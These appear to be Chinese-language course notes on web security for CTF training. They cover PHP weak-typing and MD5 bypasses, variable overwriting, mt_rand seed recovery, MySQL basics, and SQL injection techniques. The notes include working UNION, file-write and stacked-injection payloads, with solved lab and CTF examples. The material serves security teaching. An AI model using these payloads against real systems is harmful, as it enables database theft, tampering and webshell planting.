web实训技能听课笔记(持续更新中)
web实训技能听课笔记(持续更新中)
web新手村
1.请从本地访问——IP地址欺骗——添加类似X-Forwarded-For: 127.0.0.1等信息
2,请从google.com访问——添加Referer头 类似Referer: google.com
3.请使用ABC Browser——添加User-Agent(通过这个来判断访问使用的浏览器 也可以识别出是手机浏览器还是计算机浏览器) 类似User-Agent: ABC Browser
4.webshell——蚁剑——URL地址填环境名——找连接密码
5.弱类型
=== 在进行比较的时候 会先判断两种字符串的类型是否相等 在比较‘
== 在进行比较的时候 会先将字符串类型转化成相同 在比较
(如果比较一个数字和字符串或者比较涉及到数字内容的字符串 则字符串会被转换成数值并且比较按照数值来进行)
eg.
var_dump("admin"==0); //true
var_dump("1admin"==1); //true
var_dump("admin1"==1); //false
var_dump("admin1"==0); //true
var_dump("0e123456"=="0e4456789"); //true
在识别字符串的每一个字符时 由左到右依次识别 第一次识别到字母的时候 后面会全部忽略 且判定为0
“e”在php中识别为10的多少次方 是科学计数法 所以最后一个例子 0*10的多少次方都是0 故返回true
当一个字符串被当作一个数值来取值,其结果和类型如下:如果该字符串没有包含‘.’ ‘,’ ‘e’ “E”并且其数值值在整形的范围之内 该字符串被当作int来取值,其他所有情况下都被作为float来取值,该字符串的开始部分决定了它的值,如果该字符串以合法的数值开始,则使用该数值,否则其值为0。且由于被判断为非法数值 后面的内容也不在考虑是否含有”.” “,” “e” “E”
<?php.
$test=l + "10.5"; // $test=11.5(float)
$test=1+"-1.3e3"; //$test=-1299(float)
$test=l+"bob-1.3e3"; //$test=1(int)
$test=l+"2admin"; //$test=3(int)
$test=l+"admin2; //$test=1(int)
?>
MD5绕过
基础的 登陆的哈希验证
一.
$a != $b
Md5($a) == Md5($b)
要求传入两个不相等的字符串 但要求两个字符串的md5值一样
看到”==” 想到弱类型判断 可以传入 两个md5值是”0e”开头的字符串 这 样会被识别为科学计数法 判断为0 所以md5值也一样
二.
$a != $b
Md5($a) === Md5($b)
md5()只能计算字符串(string)的MD5值 但是数组就不行了 返回值是null
可以利用null === null来进行绕过 只要保证两个数组里面的内容不一样就可以了
a[]=1&b[]=2
三.
(string)$a != (string)$b
Md5($a) === Md5($b)
利用MD5碰撞 两个不同的东西会有相同的MD5
https://www.jianshu.com/p/c9089fd5b1ba
四.
$md5 == md5($md5)
积累内容
五.
intval($num) < 2020 && intval($num+1) > 2021
和php版本有关 php5会将对科学计数法取int 以常规字符串中数字和字母组合的方式识别出
但是先加一在取int 则不会
$num = 2e5
intval($num); //2
intval($num+1); //200001
六.
浮点精度绕过
http://172.30.211.91:8343/ Africa
$numPositive = intval($num)
$numReverse = intval(strrev($num))l; //strrev就是逆序
$num != $numPositive
$numPositive === $numReverse && !isPalindrom($num); //isPalindrom返回一个数的回文数 比如123回文数是321
要求取整后的数和逆序后取整的数相等 且传入的num不能是回文数
最后一个条件很好满足 比如100.0010
但是在读取100.0010时 读完整数部分 遇到小数部分的0就会停止 识别为100 结果和取整是一样的
而逆序数0100.001取整还是100所以条件二满足了
条件一下面返回的是die 所以要求我们输入的num不能满足条件一对应的if条件 即应该是$num == $numPositive
使用浮点精度绕过
由图可知 在小数点后16位 会超出php语言所能识别的精度 将1.0000000000000001判断为与1相等
因此 为了满足条件一二 我们应该输入的$num = 1000000000000000.00000000000000010
七.
$md5 == md5(md5($md5))
积累 跑脚本可以得出为0e1138100474 其实在前面加n个0也的满足的
变量覆盖
Extract()
定义:extract() 函数从数组中将变量导入到当前的符号表。
该函数使用数组键名作为变量名,使用数组键值作为变量值。针对数组中的每个元素,将在当前符号表中创建对应的一个变量。
该函数返回成功设置的变量数目。
语法:
extract(array,extract_rules,prefix)
参数 描述
array必需。 规定要使用的数组。
extract_rules可选。 extract() 函数将检查每个键名是否为合法的变量名,同时也检查和符号表中已存在的变量名是否冲突。对不合法和冲突的键名的处理将根据此参数决定。
可能的值:
EXTR_OVERWRITE - 默认。如果有冲突,则覆盖已有的变量。
EXTR_SKIP - 如果有冲突,不覆盖已有的变量。
EXTR_PREFIX_SAME - 如果有冲突,在变量名前加上前缀 prefix。
EXTR_PREFIX_ALL - 给所有变量名加上前缀 prefix。
EXTR_PREFIX_INVALID -仅在不合法或数字变量名前加上前缀 prefix。
EXTR_IF_EXISTS - 仅在当前符号表中已有同名变量时,覆盖它们的值。其它的都不处理。
EXTR_PREFIX_IF_EXISTS - 仅在当前符号表中已有同名变量时,建立附加了前缀的变量名,其它的都不处理。
EXTR_REFS - 将变量作为引用提取。导入的变量仍然引用了数组参数的值。
prefix可选。 如果 extract_rules 参数的值是 EXTR_PREFIX_SAME、EXTR_PREFIX_ALL、 EXTR_PREFIX_INVALID 或 EXTR_PREFIX_IF_EXISTS,则 prefix 是必需的。
该参数规定了前缀。前缀和数组键名之间会自动加上一个下划线。
//将键值"cat"、"dog"、"horse"赋值给变量$a $b $c
<?php
$a = "original";
$my_array = array("a" => "cat","b" => "dog","c" => "horse");
extract($my_array);
echo "\$a = %a; \$b = $b; \$c = $c";
?>
//$a = %a; $b = dog; $c = horse
就是说 extract()使用了一个数组$my_array(其中array函数是用来创建数组的) 将其中的三个键值对 分别导入
如果其中某个键名($a)存在且原来有内容 则extract函数会对其进行覆盖
如果没有($b、$c) extract函数会创建这个键名并且将数组中键名对应的键值导入其中
再举一个例子
"extract($_GET);
if(isset($bdctf))
{
$content=trim(file_get_contents($flag));//file_get_contents()将整个文件读入一个字符串
if($bdctf==$content) //trim()去除字符串首尾处的空白字符(或者其他字符)
{ echo'bdctf{**********}'; }
else
{ echo'这不是蓝盾的密码啊'; }
}"
题目分析
题目使用了**extract($_GET)接收了GET请求中的数据,并将键名和键值转换为变量名和变量的值,然后再进行两个if 的条件判断,所以可以使用GET提交参数和值,利用extract()**对变量进行覆盖,从而满足各个条件。
解题思路
if($bdctf==$content) 输出flag
利用extract($_GET)漏洞,使$bdctf与$content都为空或者不存在就满足 $bdctf==$content
get?flag=&bdctf= 得到flag
Parse_str
定义:
把查询字符串解析到变量中
语法:
parse_str(string,array)
参数 描述
string必需。 规定要解析的字符串。
array可选。 规定存储变量的数组名称。该参数指示变量存储到数组中。
<?php
$a = 1; //原变量值为1
parse_str('a=2'); //经过parse_str()函数后注册变量$a,重新赋值
print_r($b); //输出结果为2
?>
举个例子
<?php
if(!isset($_GET['id'])) {
show_source(__FILE__);
die;
}
include (‘flag.php’);
$a = “www.OPENCTF.com”;
$id = $_GET['id'];
@parse_str($id);
if ($a[0] != ‘QNKCDZO’ && md5($a[0]) == md5(‘QNKCDZO’)) {
echo $flag;
} else {
exit(‘其实很简单其实并不难!’);
}
?>
题目分析
首先 看到存在哈希比较 且是”==”的弱比较 要求$a[0]的值不等于‘QNKCDZO’ 但是MD5值等于
解一下可以发现 ‘QNKCDZO’的MD5值正好是0e830400451993494058024219903391可以进行哈希绕过
随便找一个满足要求的字符串 比如s878926199a 其MD5值也是0e开头的 和 ‘QNKCDZO’的MD5值一样 都会被识别为0(科学计数法)
$id接受了get请求中的数据 而parse_str函数接受了$id 只要将数组a的值赋予$id 就可以成功覆盖$a[0] 满足题目要求的判断条件
get?id=$a[0]=s878926199a
随机数问题
**mt_rand()**种子
mt_rand()函数用于生成随机数
mt_srand(seed)给随机数发生器播种 比如:
<?php
mt_srand(123456);
echo mt_rand();
?>
//272665632
原理就是 对于给定种子的随机数发生器 他计算出的随机数都是一样的 这样根据得到的随机数 我们可以使用php_mt_seed(在kali里面)脚本爆破出使用的种子
同时 根据php使用的版本不同 爆破出来的种子也不一样 按照不同题目可能两个都要试一下
此外 还有一种无需爆破得到种子的脚本 reverse_mt_rand.py
./reverse_mt_rand.py rand_n+0 rand_n+227 n flavour
# rand_n+0 是选择的第一个随机数
# rand_n+227 是选择的第二个随机数 第一二个随机数之间要间隔226个随机数
# n的值是相对于最开始生成的第一个随机数 我们选择的第一个随机数是第几个数
# flavour 如果是php5版本 就输入0 如果是php7以上的版本就输入1
数据库基本概念
数据库就是软件存放数据的一个空间
**数据库管理系统(DBMS)**是一种操纵和管理数据库的软件 用于建立使用和维护数据库 他对数据库进行统一的管理和控制 以保证数据库的安全性和完整性 mysql就是这样的一种数据库管理系统
主要分为两类:关系型数据库和非关系型数据库
关系型数据库RDBMS:存储格式能直观反映实体间的关系 和创建的表格比较相似 表与表之间有着复杂的关联关系 比如 mysql oracle server access等
非关系型数据库:分布式、非关系型的、不保证遵循ACID原则的数据存储系统 比如 mongodb redis hbase等
SQL 结构化查询语言
查询是人们用各种SQL指令构造出来的 负责具体完成筛选和提取结果数据的工作 包括增删改查
Mysql基础
数据类型:大致可以分为 数值、日期/时间和字符串类型
约束类型:
常见的sql语句
连接数据库:mysql -uroot -p;
**查询(显示)**所有的数据库:show databases;
创建数据库:create database 库名;
删除数据库:drop database 库名;
查看(显示)当前数据库的所有表:show tables; 在用之前 要选择使用(打开)一个数据库use db_name;
查看某个表的**描述(结构)**:desc 表名;
显示表中各字段信息,即表结构:show columns from table_name;
显示表创建过程:show create table 表名;
列出当前mysql的相关状态信息:status;
清空数据表:delete from table_name;
或truncate table table_name;
退出数据库:exit;
查询现在正在使用的数据库:select database();
操作:增减改查
增:语法格式:insert into 表名(字段1,字段2,。。。。)values(值1,值2,。。。。);
是一一对应的
插入多条数据:insert into 表名(字段1,字段2,。。。。)values(值1,值2,。。。。),(值3,值4,。。。。);
insert into test(id,name,age) values(1,'wenx1',18);
改:update 表名 set 字段名=’值’ [where条件]
update test set age='28' where id=1;
查:select * from 表名 [where条件];
select * from test; #*表示查询这张表中的全部字段(列)
select GROUP_CONCAT(NAME,Population) from city where CountryCode='PSE'; #GROUP_CONCAT能将查询到的所有内容放在同一行 用“,”来区分
order by排序
格式:select * from 表名 order by 列名(字段名)
order by {column_name [ASC|DESC]} [,….n] ASC为升序 DESC为降序 若后面加数字表示以第几列为基准做排序
特性:如果order by后的数字超过了原有的字段数(列数) 就会报错(可以用来sql注入里面猜当前数据表中有多少个字段)
select * from city order by ID asc;
#假设当前数据表中有5个字段
select * from cuty order by 5; #不会报错
select * from cuty order by 6; #会报错
limit限制
用于限制select语句返回指定的记录数 接受一个或两个数字参数
语法:select * from 表名 limit 偏移量,限制条数
limit 5; #5代表限制条数
limit 0,5; #0代表偏移量,5代表限制条数
select * from table limit 5; #检索前5个记录行
select * from table limit 5,10; #检索记录行6-15 注意在有偏移量的时候 从偏移量的下一行开始算限制条数
减:delete 表示删除一条数据 指的是物理删除 彻底在数据库中删除了 对比是逻辑删除 只是不显示在系统中 但数据库中依旧存在
delete from 表名 [where条件]
delete from test where id=1; #物理删除 update是逻辑删除
注释符:
#
--+ 或 --空格
/*.......*/
其他操作:
select version(); / select @@version; #查看版本信息
select user(); #返回当前使用数据库的用户 也就是网站配置文件中连接数据库的账号
select session_user(); #查看连接数据库的用户名
select system_user(); #查看系统用户名
select database(); #查看当前数据库
group_concat(); #把数据库中的某列数据或某几列数据合并为一个字符串
select @@datair; #查看数据库路径
information_schema
mysql自带的数据库 可以提供mysql服务器所维护的所有其他数据库的信息 如数据库名 数据库的表 表的数据类型与访问权限等
sql注入
就是将sql代码插入或添加到应用的输入参数中的攻击 之后再将这些参数传递给后台的sql服务加一解析并执行
产生条件:攻击者控制了sql语句的一部分 使用户的输入不再是一个输入参数 而成为了符合语法的sql语句
按回显方式划分:
有回显:
联合查询:构造联合查询语句 直接查看查询结果
报错注入:构造报错语句 在报错中查看结果
堆查询:多航语句执行 进而实现想要达到的目的
无回显:
盲注:布尔型/时间型 通过某种手段“爆破”结果
联合查询
使用DVWA进行sql注入联合查询测试
一.输入1
此时的sql语句为
select first_name, last_name from users where user_id = '1' # 返回用户id为1的用户数据
二.输入 1’ and ‘1’ = ‘2
select first_name, last_name from users where user_id = '1' and '1' = '2' # 此时判断结果恒为假 无法测试出是否含有sql注入
三.输入1’ or ‘1234’ = ‘1234
select first_name, last_name from users where user_id = '1' or '1234' = '1234' # 条件判断恒为真 返回users表中的所有用户数据
四.输入1’ or 1=1 order by 1 #(这里的#是为了把sql语句中后面的单引号注释掉)
select first_name, last_name from users where user_id = '1' or 1=1 order by n # # 用order by语句来猜测表中有多少字段 若报错 则说明字段数为n-1
五.输入1’ union select 1,2 #
select first_name, last_name from users where user_id = '1' union select 1,2 # # 确定显示的字段顺序(可能出现有5个字段 但是只回显2个字段的情况)
六.获取当前数据库中的情况
select first_name, last_name from users where user_id = '1' union select 1,databases() # # 获取当前的数据库名
select first_name, last_name from users where user_id = '1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() # # 获取当前数据库的表名
select first_name, last_name from users where user_id = '1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' # # 获取当前表中的字段名
select first_name, last_name from users where user_id = '1' or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users # # 查询数据
其中**group_concat()**的作用就是将多行的数据在一行进行输出 并且用”,”分开 如果限制使用group_concat()就用limit 使用方法在上面常见的sql语句中
information_schema
是一个信息数据库 保存着mysql服务器所维护的所有其他数据库的信息 比如数据库的名 数据库的表 表栏的数据类型与访问权限等 在其中 有数个只读表 它们实际上是视图 而不是基本表
schemata表
提供了当前mtsql实例中所有数据库的信息 show databases()的结果取于此表
tables表
提供了关于数据库中的表的信息 show tables from schemaname的结果取于此表
columns表
提供了表中字段的信息 show columns from schemaname.tablename的结果取于此表
联合查询常用套路:
1.orde by 猜列数(字段数)
2.union select 1,2,3,…,n n为上一步猜出来的列数
3.查看哪几列回显出来了 比如有3列 其中2、3列回显了 1列没有回显 则可以输入union select database(),2,3; 用database()代替回显不出来的第一列 即可查询到数据库名
文件操作
mysql服务器维护着两种变量 全局变量影响服务器的全局操作 会话变量影响具体客户端连接相关操作
可以使用show variables语句查看系统变量及其值
可以使用like进行匹配和筛选
show variables like "a%" # 筛选以"a"开头的系统变量
secure_file_priv
对文件读写有影响
其参数是用来限制load data,select ….,outfile, load_file()等传到那个指定目录
当其值为null时 表示限制mysql不允许导入/导出 *默认是null
当其值为/tmp/时 表示限制mysql的导出/导入只能发生在/tmp/下
当其为空值时 表示不对mysql的导入/导出作出限制
mysql读文件
select load_file('文件名');
select convert(load_file("文件路径") using utf8);
mysql写文件
select "<php phpinfo();?>"(字符串) into outfile "路径"
select "<php phpinfo();?>"(字符串) info dumpfile "路径"
outfile函数可以导出多行 而dumpfile只能导出一行数据
outfile函数在将数据写到文件里是有特殊的格式转换 而dumpfile则保持原数据格式
比如原字符串中含有表示换行符的字符(0a)outfile会将其转化为\ 在输出 而dumpfile则直接输出原内容
当然 这里的一切建立在secure_file_priv的值不为null的情况下 当其值为null的时候 想要进行文件读写 需要利用下面说到的堆叠注入
堆叠注入
注意 通常多条语句执行时,若前条语句已返回数据 则之后的语句返回的数据通常无法返回前端页面 建议使用union联合注入 若无法使用联合注入 可考虑使用rename关键字 将想要的数据列名/表名更改成返回数据的sql语句所定义的表/列名(在下面强网杯的例题中有所体现)
使用条件 API或者数据库引擎支持多条语句同时注入 即
multi_query($sql);
mysql可以执行多条语句 多条语句之间用”;”做分隔
因为分号为mysql语句的结束符 若在支持多条语句执行的情况下 可以利用此方法执行其他恶意语句 比如rname、drop、delete等 堆叠注入可以用于执行任何sql语句
举个例子:执行查询时。第一个语句执行信息查询,第二个语句则将表user的所有内容删除了
select * from users where id=1;delect from users;
以2019年强网杯随便注为例
**1.**在题目源码过滤了select等语句的时候 可以使用handler语句 他允许我们一行一行的浏览一个表中的数据
使用格式:
handler users open as hh; #指定数据表进行载入并返回句柄
handler hh read first; #读取指定句柄的第一行数据
handler hh read next; #读取指定句柄的下一行数据
handler hh close; #关闭句柄
也可以不给表指定命名为句柄 就用表名即可
2.首先输入 1
是有回显的
2.输入 1' and 1=2#
发现没有回显任何信息 说明存在sql注入
3.在输入1‘ union select 1;
尝试进行联合查询 发现题目过滤掉了select update drop insert where等语句
4.使用堆叠注入
1'; show tables
回显了当前数据库中的表的信息
1'; show columns from `1919810931114514`;#
回显了1919810931114514数据库中字段的信息 发现了flag
5.过滤了select 但是可以使用handler查看字段信息
1'; handler `1919810931114514` open;handler `1919810931114514` read first;#
得到flag{4a26eacf-123d-448e-933e-0535258f3e46}
解法二:rename改名
对于输入1的时候 回显的这部分信息 再加上用handler语句查看的words表中的第一行数据和回显的信息一致 以及查看到words中含有的字段为id和data 猜测其对应的查询语句 可能为 select * from words where id='$id'
即网站源代码中存在的语句是查询名为”words”的表中名为”id”的字段对应的数据
所以可以将”1919810931114514”表的名字改为”words”将”flag”字段的名字改为”id” 就可以查询到”flag”字段中的信息了
1';rename table `words` to `words2`;rename table `1919810931114514` to `words`;alter table `words` change `flag` `id` varchar(100) character set utf8 collate utf8_general_ci not null;#
在输入 1' or 1=1#
就可以查询到flag了
解法三:mysql预处理
原理是因为题目过滤了select关键字 所以定义一个函数 用s和elect来拼接成select 在进行使用
1';prepare st from concat('s','elect', '* from `1919810931114514`');execute st;#
直接查询出flag
宽字节注入
字符集,也叫字符编码 是一种将符号转换为二进制数的映射关系
常见的字符集:ASCII编码:单字节编码
latin1编码:单字节编码
gbk编码:使用单字节和双字节编码
UTF-8编码:使用一到四字节编码
宽字节就是两个以上的字节 宽字节注入产生的原因就是各种字符编码的不当操作 使得攻击者可以通过宽字节编码绕过sql注入防御
通常来说 一个gbk编码汉字 占用2字节 一个utf-8编码汉字 占用3个字节
echo strlen("和")
当页面保存为gbk时输出2 保存为utf-8时输出3
除gbk以外 所有的ANSII编码都是两个字节
产生原因:程序员设置数据库编码和php编码为两个不同的编码那就有可能产生宽字节注入
转义函数会将”‘“ 单引号 用” \ “进行转义 防止其影响sql语句
使用转义函数addslashes后 将admin后面的单引号转义了 不会对执行sql语句产生影响
但是在这里汉字字符将转义字符”吃”掉了 所以对sql语句执行产生了影响 发生宽字节注入